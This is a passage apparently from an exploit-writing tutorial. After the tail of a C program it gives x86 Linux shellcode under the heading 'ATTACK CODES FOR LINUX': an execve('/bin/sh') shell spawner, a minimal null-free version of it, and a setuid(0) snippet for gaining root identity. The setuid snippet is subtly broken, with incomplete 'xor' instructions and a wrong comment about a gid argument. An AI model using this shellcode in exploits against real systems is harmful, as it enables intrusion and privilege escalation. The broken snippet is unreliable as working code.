  * *  Inform user we’re still alive.. 
  * / 
 
  printf("Back in main()\n"); 
  return -1; 
}  
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ATTACK CODES FOR LINUX 

Unoptimized shell spawning code for Linux (Intel x86) 

global main 
main: 
section .text 
 
; example shell spawning code 
 
; execve() = function number 0x0b  
; parameters: 
; eax = function number 
; ebx = pointer to filename: the full path where the binary can be found. 
; ecx = pointer to argument list (first argument is the binary itself) 
; edx = pointer to environment list (may be NULL) 
 
; we want to call execve() 
mov    eax,0x0b 
 
; Program to run is "/bin/sh" =  
; \x2f\x62\x69\x6e\x2f\x73\x68\x00 = 
; 0x6e69622f 0x0068732f 
 
push   DWORD 0x0068732f  
push   DWORD 0x6e69622f 
mov    ebx,esp 
 
; Argument list contains only pointer to the binary itself and NULL  
; terminator 
push   DWORD 0x00000000 
push   ebx 
mov    ecx,esp 
 
; We don’t have environment variables (edx=NULL) 
mov    edx,0x00000000 
 
; Execute execve() 
int    80h 
 
; If we ever return from shell, execute exit() (function number 0x01) 
mov    eax,0x01 
int    80h 
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Minimal shell spawning code for Linux (Intel x86) 

global main 
main: 
section .text 
 
mov    eax,0x01a1ccbc 
shr    eax,2 
push   eax 
push  dword 0x6e69622f 
mov    ebx,esp 
xor    eax,eax 
push   eax 
push   ebx 
xor  edx,edx 
mov  ecx,esp 
mov  al,0x0b 
int 80h 
 

User identity changing code for Linux (Intel x86) 

 
global main 
main: 
section .text 
 
; setuid() = function number 0x17 
; parameters: 
; eax = function number = 0x17 
; ebx = uid = 0 (root) 
; ecx = gid = 0 (root) 
 
xor eax,eax 
mov al,0x17 
xor ebx 
xor ecx 
int 80h 
 


